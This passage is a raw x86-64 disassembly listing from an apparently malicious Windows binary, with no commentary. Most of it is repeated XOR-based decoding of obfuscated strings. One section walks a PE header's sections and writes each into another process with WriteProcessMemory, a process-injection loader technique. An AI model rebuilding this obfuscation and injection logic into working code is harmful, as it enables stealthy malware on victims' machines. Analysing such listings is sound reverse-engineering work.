xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1920]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1920]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1920]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000ada9
mov byte [rbp - 0x41], 0
lea rdx, [rbp + 0xcc]
lea rcx, [rbp - 0x41]
call fcn.1400232d0
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x14000a75c
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rbp - 0x40], 0
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x40]
call fcn.140023120
mov r10, rax
cmp byte [rax + 7], 0
je 0x14000a881
cmp esi, 2
jl 0x14000a840
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x14000a881
mov r9, r10
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000a850
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x3f], 0
lea rdx, [rbp + 0xa58]
lea rcx, [rbp - 0x3f]
call fcn.140022f50
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000a9c0
mov r8d, edi
cmp esi, 2
jl 0x14000a987
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000a990
mov byte [rbp - 0x3e], 0
lea rdx, [rbp + 0xf88]
lea rcx, [rbp - 0x3e]
call fcn.140022d80
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000ab00
mov r8d, edi
cmp esi, 2
jl 0x14000aabc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000aad0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x3d], 0
lea rdx, [rbp + 0x1338]
lea rcx, [rbp - 0x3d]
call fcn.140022b90
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x14000ac71
cmp esi, 2
jl 0x14000ac2f
mov edx, edi
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14000ab50
jmp 0x14000ac71
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14000ac40
mov byte [rbp - 0x3c], 0
lea rdx, [rbp + 0xa68]
lea rcx, [rbp - 0x3c]
call fcn.1400229c0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000a0e1
mov r8d, edi
cmp esi, 2
jl 0x14000ad5c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000ad70
mov rcx, r10
jmp 0x14000b286
mov byte [rbp - 0x3b], 0
lea rdx, [rbp + 0x154]
lea rcx, [rbp - 0x3b]
call fcn.140023350
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14000addb
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1940]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1940]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1940]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000b299
mov byte [rbp - 0x3a], 0
lea rdx, [rbp + 0x6d8]
lea rcx, [rbp - 0x3a]
call fcn.140023a50
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x14000ae5e
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp - 0x39], 0
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x39]
call fcn.1400239d0
movzx ecx, byte [rax + 2]
test cl, cl
je 0x14000ae84
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x38], 0
lea rdx, [rbp + 0xa78]
lea rcx, [rbp - 0x38]
call fcn.140023800
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000afc0
mov r8d, edi
cmp esi, 2
jl 0x14000af8a
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000af90
mov byte [rbp - 0x37], 0
lea rdx, [rbp + 0xf98]
lea rcx, [rbp - 0x37]
call fcn.140023630
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000b100
mov r8d, edi
cmp esi, 2
jl 0x14000b0bc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000b0d0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x36], 0
lea rdx, [rbp + 0xa88]
lea rcx, [rbp - 0x36]
call fcn.140023460
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000b241
mov r8d, edi
cmp esi, 2
jl 0x14000b204
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000b210
mov byte [rbp - 0x35], 0
lea rdx, [rbp + 0x4e8]
lea rcx, [rbp - 0x35]
call fcn.1400233d0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14000b283
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r15, qword [rbp + 0x220]
movzx ebx, word [r15 + 0x14]
add rbx, 0x2c
mov r14d, edi
cmp word [r15 + 6], r14w
je 0x14000b2f7
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x14000b2e6
mov r9d, eax
mov r8d, dword [rbx]
add r8, r12
mov edx, dword [rbx - 8]
add rdx, r13
mov qword [rsp + 0x20], rdi
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140017f50
inc r14d
add rbx, 0x28
movzx eax, word [r15 + 6]
cmp r14d, eax
jne 0x14000b2b6
mov byte [rbp - 0x34], 0
lea rdx, [rbp + 0x1c4]
lea rcx, [rbp - 0x34]
call fcn.140023af0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14000b32d
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1960]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1960]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1960]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000ba29
mov byte [rbp - 0x33], 0
lea rdx, [rbp + 0x15e0]
lea rcx, [rbp - 0x33]
call fcn.1400243b0
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x14000b4c1
mov r8d, edi
cmp esi, 2
jl 0x14000b487
mov rcx, rax
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000b3a0
cmp r8d, 0x1a
jge 0x14000b4c1
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14000b490
mov byte [rbp - 0x32], 0
lea rdx, [rbp + 0x1418]
lea rcx, [rbp - 0x32]
call fcn.1400241a0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x14000b611
mov r8d, edi
cmp esi, 2
jl 0x14000b5d8
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000b4f1
cmp r8d, 0x16
jge 0x14000b611
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14000b5e0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x31], 0
lea rdx, [rbp + 0xa98]
lea rcx, [rbp - 0x31]
call fcn.140023fd0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000b750
mov r8d, edi
cmp esi, 2
jl 0x14000b717
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000b720
mov byte [rbp - 0x30], 0
lea rdx, [rbp + 0xfa8]
lea rcx, [rbp - 0x30]
call fcn.140023e00
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000b890
mov r8d, edi
cmp esi, 2
jl 0x14000b84c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000b860
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x2f], 0
lea rdx, [rbp + 0x6e8]
lea rcx, [rbp - 0x2f]
call fcn.140023d60
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000b8f2
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp - 0x2e], 0
lea rdx, [rbp + 0x1278]
lea rcx, [rbp - 0x2e]
call fcn.140023b80
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14000ba21
mov r8d, edi
cmp esi, 2
jl 0x14000b9dd
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
